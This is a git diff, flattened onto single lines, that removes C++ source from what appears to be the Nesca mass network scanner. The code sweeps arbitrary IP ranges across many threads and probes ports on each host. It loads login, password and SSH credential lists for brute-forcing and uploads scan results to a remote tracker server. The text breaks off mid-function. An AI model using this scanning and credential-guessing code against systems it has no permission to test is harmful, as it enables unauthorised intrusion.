stt->doEmitionChangeStatus("Scanning..."); - - int y = _GetDNSFromMask(dataEntry, "", dataEntry); - if (y == -1) - { - stt->doEmitionRedFoundData("DNS-Mode error"); - }; - } - else if (gMode == -1) - { - if (flCounter == 0) - { - stt->doEmitionRedFoundData("Empty IP list."); - globalScanFlag = false; - stt->doEmitionKillSttThread(); - - return -1; - }; - - stt->doEmitionChangeStatus("Scanning..."); - for (gC = 0; gC < flCounter; ++gC) - { - strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][1]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][2]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][3]).c_str()); - strcat(metaRange, "-"); - strcat(metaRange, std::to_string(ipsendfl[gC][0]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][1]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][2]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][3]).c_str()); - - unsigned long ip1 = (ipsstartfl[gC][0] * 16777216) + (ipsstartfl[gC][1] * 65536) + (ipsstartfl[gC][2] * 256) + ipsstartfl[gC][3]; - unsigned long ip2 = (ipsendfl[gC][0] * 16777216) + (ipsendfl[gC][1] * 65536) + (ipsendfl[gC][2] * 256) + ipsendfl[gC][3]; - - switch (gShuffle) { - case true: { - std::vector<std::string> ipVec; - struct in_addr tAddr; - - for (unsigned long i = ip1; i <= ip2; ++i) { - - if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; - - tAddr.s_addr = ntohl(i); - ipVec.push_back(inet_ntoa(tAddr)); - if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); - - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { - - std::random_shuffle(ipVec.begin(), ipVec.end()); - while (ipVec.size() != 0) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IM; - - ++indexIP; - std::string res = ipVec[0]; - ipVec.erase(ipVec.begin()); - - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - } - } - haters_gonna_hate_IM:; - break; - } - case false: { - struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; - - ++indexIP; - - tAddr.s_addr = ntohl(i); - std::string res = string(inet_ntoa(tAddr)); - verboseProgress(gTargets--, res.c_str()); - Threader::fireThread(res, (void*(*)(void))_connect); - } - break; - }; - } - } - } - else - { - stt->doEmitionRedFoundData("Wrong parameters."); - }; - - Sleep(gTimeOut + 1); - - stt->doEmitionYellowFoundData("Stopping threads..."); - stt->doEmitionChangeStatus("Stopping..."); - - while(cons > 0 || jsonArr->size() > 0) { - Sleep(2000); - }; - - stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); - stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - stt->doEmitionChangeStatus("Idle"); - stt->doEmitionKillSttThread(); -} - -void nCleanup(){ - Threader::cleanUp(); - curl_global_cleanup(); - - if(loginLst != NULL) - { - for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; - delete []loginLst; - loginLst = NULL; - }; - if(passLst != NULL) - { - for(int i = 0; i < MaxPass; ++i) delete []passLst[i]; - delete []passLst; - passLst = NULL; - }; - if(GlobalNegatives != NULL) - { - for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i]; - delete []GlobalNegatives; - GlobalNegatives = NULL; - }; - if(wfPassLst != NULL) - { - for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; - delete []wfPassLst; - wfPassLst = NULL; - }; - if(wfLoginLst != NULL) - { - for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; - delete []wfLoginLst; - wfLoginLst = NULL; - }; - if(sshlpLst != NULL) - { - for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; - delete []sshlpLst; - sshlpLst = NULL; - }; - if(ipsstartfl != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []ipsstartfl[i]; - delete []ipsstartfl; - ipsstartfl = NULL; - }; - if(ipsendfl != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []ipsendfl[i]; - delete []ipsendfl; - ipsendfl = NULL; - }; - if(starterIP != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []starterIP[i]; - delete []starterIP; - starterIP = NULL; - }; -} diff --git a/nesca_startModule.cpp.REMOTE.3450.cpp b/nesca_startModule.cpp.REMOTE.3450.cpp deleted file mode 100644 index d9ce21e..0000000 --- a/nesca_startModule.cpp.REMOTE.3450.cpp +++ /dev/null @@ -1,2533 +0,0 @@ -#include "STh.h" -#include "mainResources.h" -#include "externData.h" -#include "externFunctions.h" -#include "Connector.h" -#include "Threader.h" -#include <thread> - -QJsonArray *jsonArr = new QJsonArray(); - -bool gShuffle = true; -bool __savingBackUpFile = false; -bool horLineFlag = false; -static int portArr[65536] = {0}; -int gThreadDelay = 10; -int gC = 0; -int gTimeOut = 3; -int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0; -int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0; -int GlobalNegativeSize = 0; -int ipCounter = 0; -int mode; -int found = 0, indexIP = 1; -int gMode; -int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; -int ipsstart[4], ipsend[4], - overallPorts, flCounter, octet[4]; -int BA = 0; -int gPingTimeout = 1; -unsigned int Activity = 0; - -unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; -double ips = 0; -char top_level_domain[128] = {0}; -char endIP2[128] = {0}; -char **GlobalNegatives = 0; -char **loginLst, **passLst; -char **wfLoginLst, **wfPassLst; -char **sshlpLst; -char saveEndIP[128] = {0}; -char gRange[128] = {0}; -char gFirstDom[128] = {0}; -char gPorts[65536] = {0}; -char metaRange[256] = {0}; -char metaPercent[256] = {0}; -char metaIPS[256] = {0}; -char metaTargets[256] = {0}; -char metaETA[256] = {0}; -char metaOffline[256] = {0}; - -char currentIP[MAX_ADDR_LEN] = {0}; -char finalIP[32] = {0}; - -bool ErrLogFirstTime = true; -bool gPingNScan = false; -long long unsigned int gTargets = 0, gTargetsOverall = 1, targets; -volatile int gThreads; -volatile int cons = 0; -volatile int BrutingThrds = 0; -volatile int threads = 20; - -void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) -{ - FILE *errFile = fopen("./logs/ns-track_errors.html", "r"); - if(errFile != NULL) - { - fclose(errFile); - }; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - CreateDirectory(L"./logs", NULL); -#else - struct stat st = {0}; - if (stat("./logs", &st) == -1) { - mkdir("./logs", 0700); - } -#endif - time_t rtime; - time(&rtime); - char cdate[32] = {0}; - strcpy (cdate, ctime (&rtime)); - - char *totalErrLog = NULL; - char stylePart[] = {"<style>html{background-color:#373737;}#mainblock{background-color:#646464;width:100%;border:1px dotted black;}#sender-time{color:#ffffff;}#msr{color:#b9b9b9;}#msc{width:99,8%;border:1px solid black;}pre{width:99,8%;border:1px solid gray;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;white-space:pre-wrap;word-wrap:break-word;}</style>"}; - char firstPart[] = {"<div id=\"mainblock\"><div id=\"sender-time\">"}; - char secondPart[] = {"</div><span id=\"msr\">Message sent:</span><pre>"}; - char thirdPart[] = {"</pre><span id=\"msr\">Reply received:</span><pre><iframe width=\"100%\" height=\"600px\" id=\"msc\" src=\"data:text/html;base64,"}; - char forthPart[] = {"\"></iframe></pre></div>"}; - - int sz = strlen(stylePart) + strlen(firstPart) + strlen(secondPart) + strlen(thirdPart) + strlen(forthPart) + strlen(QByteArray(MesSent).replace("\r\n", "\n").data()) + (strlen(ReplRecv) + 50*strlen(ReplRecv)/100) + strlen(cdate) + strlen(sender); - - totalErrLog = new char[sz + 4]; - ZeroMemory(totalErrLog, sz); - if(ErrLogFirstTime) strcat(totalErrLog, stylePart); - strcat(totalErrLog, firstPart); - strcat(totalErrLog, sender); - strcat(totalErrLog, " - "); - strcat(totalErrLog, cdate); - strcat(totalErrLog, secondPart); - strcat(totalErrLog, QByteArray(MesSent).replace("\r\n", "\n").data()); - strcat(totalErrLog, thirdPart); - strcat(totalErrLog, base64_encode((const unsigned char *)ReplRecv, strlen(ReplRecv)).c_str()); - strcat(totalErrLog, forthPart); - memset(totalErrLog + sz, '\0', 1); - - errFile = fopen("./logs/ns-track_errors.html", "a"); - if(errFile != NULL) - { - fwrite(totalErrLog, sz, 1, errFile); - fclose(errFile); - } - else - { - stt->doEmitionRedFoundData("[Log] -Cant open log file!"); - }; - if(totalErrLog != NULL) - { - delete []totalErrLog; - totalErrLog = NULL; - }; -} - -QString GetNSErrorDefinition(const char *str, const char *elem) -{ - const char *temp = strstr(str, elem); - - if(temp != NULL) - { - char definition[128] = {0}; - const char *firstComma = strstr(temp + strlen(elem) + 1, "\""); - const char *lastComma = strstr(firstComma + 1, "\""); - - int sz = lastComma - firstComma - 1; - - strncpy(definition, firstComma + 1, (sz < 128 ? sz : 128)); - - return QString(definition); - } - else return QString("No definition found!"); -} - -void ConInc() -{ - ++ipCounter; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -__asm - { - lock inc cons; - }; -#else - asm("lock; incl cons"); -#endif - - stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -} - -void ConDec() -{ - if(cons > 0) - { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - __asm - { - lock dec cons; - }; -#else - asm("lock; decl cons"); -#endif - - }; - - stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -} - -void _SaveBackupToFile() -{ - char saveStr[512] = {0}; - char saveBuffer[4096] = {0}; - char endStr[128] = {0}; - - if(gMode == 0 || gMode == 1) - { - if(gMode == 1) - { - strcpy(endStr, currentIP); - } - else - { - sprintf(endStr, "%s-%s", currentIP, finalIP); - }; - - if(strlen(endStr) > 0) - { - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " "); - strcat(saveStr, endStr); - if(gMode == 1) - { - strcat(saveStr, " "); - strcat(saveStr, top_level_domain); - }; - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - }; - } - else if(gMode == -1) - { - char ipRange[128] = {0}; - - if(flCounter > 0) - { - FILE *savingFile = fopen("tempIPLst.bk", "w"); - if (savingFile != NULL) - { - for(int tCounter = gC; tCounter < flCounter; ++tCounter) - { - sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n", - ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3], - ipsendfl[tCounter][0], ipsendfl[tCounter][1], ipsendfl[tCounter][2], ipsendfl[tCounter][3]); - - fputs(ipRange, savingFile); - - ZeroMemory(ipRange, sizeof(ipRange)); - }; - fclose(savingFile); - } - else stt->doEmitionRedFoundData("[_saver] Cannot open file."); - }; - - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " RESTORE_IMPORT_SESSION"); - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - }; - - strcpy(saveStr, "[NDBSERVER]:"); - strcat(saveStr, trcSrv); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[NDBSCRIPT]:"); - strcat(saveStr, trcScr); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[NDBPORT]:"); - strcat(saveStr, trcSrvPortLine); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PROXY]:"); - strcat(saveStr, trcProxy); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PROXYPORT]:"); - strcat(saveStr, trcPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCSERVER]:"); - strcat(saveStr, ircServer); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPORT]:"); - strcat(saveStr, ircPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPROXY]:"); - strcat(saveStr, ircProxy); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPROXYPORT]:"); - strcat(saveStr, ircProxyPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCNICK]:"); - strcat(saveStr, ircNick); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PING]:"); - strcat(saveStr, gPingNScan ? "true" : "false"); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[THREAD_DELAY]: %d\n", gThreadDelay); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[SYSTEMPROXYIP]: %s\n", gProxyIP); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[SYSTEMPROXYPORT]: %s\n", gProxyPort); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PERSKEY]:"); - strncat(saveStr, trcPersKey, 32); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - FILE *savingFile = fopen("restore", "w"); - - if (savingFile != NULL) - { - fputs(saveBuffer, savingFile); - fclose(savingFile); - } - else stt->doEmitionRedFoundData("[_saver] Cannot open file."); - - ZeroMemory(saveStr, strlen(saveStr)); - ZeroMemory(saveBuffer, strlen(saveBuffer)); -} - -void _saver() -{ - while(globalScanFlag) - { - __savingBackUpFile = true; - _SaveBackupToFile(); - __savingBackUpFile = false; - Sleep(10000); - }; -} - -void _timer() { - char dbuffer[32] = {0}, timeLeft[64] = {0}, b[32] = {0}; - int ticks = 0; - int ovrlIPs = 0; - ips = 1; - Sleep(50); - - while(globalScanFlag) - { - ++ticks; - ovrlIPs += ipCounter; - ipCounter = 0; - ips = ovrlIPs/ticks; - strncpy(b, QString::number(ips).toLocal8Bit().data(), 5); - - strcpy(metaIPS, b); - strcat(timeLeft, b); - strcat(timeLeft, "/s ("); - - if(ips > 0) - { - strncpy(dbuffer, std::to_string(((gTargets + 1)/ips/3600/24)).c_str(), 5); - } - else strcpy(dbuffer, "INF"); - strcpy(metaETA, dbuffer); - strcat(dbuffer, "d)"); - strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer)); - - - stt->doEmitionIPS(QString(timeLeft)); - stt->doEmitionOffline(QString::number(offlines)); - - ZeroMemory(timeLeft, sizeof(timeLeft)); - ZeroMemory(dbuffer, sizeof(dbuffer)); - Sleep(1000); - }; -} - -void _tracker() { - while(true) { - while(!trackerOK) Sleep(1000); - - if(globalScanFlag == false && jsonArr->size() == 0) break; - char rBuffT[250000] = {0}; - char *msg = new char[4096]; - ZeroMemory(msg, sizeof(*msg)); - char ndbServer[64] = {0}; - char ndbScriptT[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET /"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - if(send(sock, msg, strlen(msg), 0) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - char rBuff[512] = {0}; - int test = recv(sock, rBuff, sizeof(rBuff), 0); - strcpy(rBuffT, rBuff); - - while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0) - { - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - char *t1; - char *t2; - if(strstr(rBuffT, "http://") != NULL) - { - t1 = strstr(rBuffT, "http://"); - if(strstr((char*)(t1 + 7), "/") != NULL) - { - t2 = strstr((char*)(t1 + 7), "/"); - int ln = t2 - t1 - 7; - if(ln > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - SaveErrorLog("NS-Track", msg, rBuffT); - - continue; - } - else strncpy(ndbServer, (char*)(t1 + 7), ln); - - if(strlen(t2) > 64) - { - - stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); - - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - } - else - { - strncpy(ndbScriptT, t2, y); - CSSOCKET(sock); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); - - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - }; - } - else - { - strcpy(ndbScriptT, t2); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); - - CSSOCKET(sock); - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); - - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - CSSOCKET(sock); - - while(true) - { - if(globalScanFlag == false && jsonArr->size() == 0) break; - if(!trackerOK) { - Sleep(1000); - continue; - }; - - if(jsonArr->size() > 0) - { - QJsonObject jsonKey; - if(jsonArr == NULL) jsonArr = new QJsonArray(); - - QJsonObject jsonMeta; - if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); // - else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode - else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); // - jsonMeta.insert("range", QJsonValue(QString(metaRange)) ); - jsonMeta.insert("current", QJsonValue(QString(currentIP)) ); - if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD - jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) ); - jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) ); - jsonMeta.insert("saved", QJsonValue(QString::number(saved)) ); - jsonMeta.insert("found", QJsonValue(QString::number(found)) ); - jsonMeta.insert("speed", QJsonValue(QString(metaIPS)) ); - jsonMeta.insert("eta", QJsonValue(QString(metaETA)) ); - jsonMeta.insert("threads", QJsonValue(QString::number(cons) + "/" + QString::number(gThreads)) ); - jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) ); - jsonMeta.insert("version", QJsonValue(QString(gVER)) ); - - jsonArr->push_front(QJsonValue(jsonMeta) ); - memset(trcPersKey + 32, '\0', 1); - jsonKey.insert("key", QJsonValue(QString(trcPersKey)) ); - jsonArr->push_front(jsonKey); - - QJsonDocument js; - js.setArray(*jsonArr); - QByteArray r = js.toJson(); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - if(msg != NULL) - { - delete []msg; - msg = 0; - }; - - msg = new char[r.size() + 1024]; - ZeroMemory(msg, sizeof(*msg)); - - strcpy(msg, "POST /"); - strcat(msg, ndbScript); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); - strcat(msg, std::to_string(r.size()).c_str()); - strcat(msg, "\r\nConnection: close\r\n\r\n"); - - strcat(msg, r.data()); - - delete jsonArr; - jsonArr = new QJsonArray(); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer)); - }; - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); - - - stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Sending!"); - stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]"); - stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]"); - }; - - if(send(sock, msg, strlen(msg), 0) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - char msgR[32] = {0}; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Receiving..."); - }; - - test = recv(sock, rBuff, 512, 0); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - - strncpy(msgR, rBuff, 32); - strcpy(rBuffT, rBuff); - while(test > 0) - { - if(test <= 0) break; - - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - test = recv(sock, rBuff, 512, 0); - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - if(strstr(rBuffT, "201 Created") != NULL) - { - - if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!"); - stt->doEmitionDataSaved(true); - Sleep(1000); - stt->doEmitionDataSaved(false); - - } - else if(strstr(rBuffT, "400 Bad Request") != NULL) - { - - QString errorDef = GetNSErrorDefinition(rBuffT, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]"); - - SaveErrorLog("NS-Track", msg, rBuffT); - } - else - { - stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]"); - SaveErrorLog("NS-Track", msg, rBuffT); - }; - - ZeroMemory(msgR, sizeof(msgR)); - ZeroMemory(rBuffT, sizeof(rBuffT)); - ZeroMemory(msg, sizeof(*msg)); - - if(msg != NULL) - { - delete msg; - msg = NULL; - }; - - CSSOCKET(sock); - }; - Sleep(10000); - }; - } - else - { - stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); - SaveErrorLog("NS-Track", msg, rBuffT); - }; - - CSSOCKET(sock); - } -} - -unsigned long int numOfIps(int ipsstart[], int ipsend[]) { - gTargets += 16777216 * (ipsend[0] - ipsstart[0]); - gTargets += 65536 * (ipsend[1] - ipsstart[1]); - gTargets += 256 * (ipsend[2] - ipsstart[2]); - gTargets += (ipsend[3] - ipsstart[3]); - gTargetsOverall = gTargets - 1; - - //unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; - //unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - //unsigned long gTargets = ip2 - ip1; - - return gTargets; -} - -void _connect() { - string ip = ""; - while (globalScanFlag) { - std::unique_lock<std::mutex> lk(Threader::m); - Threader::cv.wait(lk, []{return Threader::ready; }); - if (Threader::threadId > gThreads || !globalScanFlag) { - --Threader::threadId; - Threader::ready = false; - lk.unlock(); - return; - } - - if (!Threader::ipQueue.empty()) { - ip = Threader::ipQueue.front(); - Threader::ipQueue.pop(); - Threader::ready = false; - lk.unlock(); - - if (ip.size() == 0) return; - - ConInc(); - for (int i = 0; i <= overallPorts; ++i) - { - if (globalScanFlag == false) break; - if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break; - }; - ConDec(); - } - } -} - -void verboseProgress(long long unsigned int target, const char *ip) { - - char targetNPers[128] = {0}; - float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); - - stt->doEmitionIPRANGE(QString(ip)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); -} -void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) { - - char targetNPers[128] = { 0 }; - float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0); - - stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); -} - -void _passLoginLoader() { - MaxLogin = 0; - MaxPass = 0; - - FILE *loginList; - FILE *passList; - - char buffFG[32] = {0}; - int i = 0; - - loginList = fopen("login.txt", "r"); - passList = fopen("pass.txt", "r"); - - if(passList != NULL && loginList != NULL) - { - while(fgets(buffFG, 32, loginList) != NULL) - { - MaxLogin++; - ZeroMemory(buffFG, 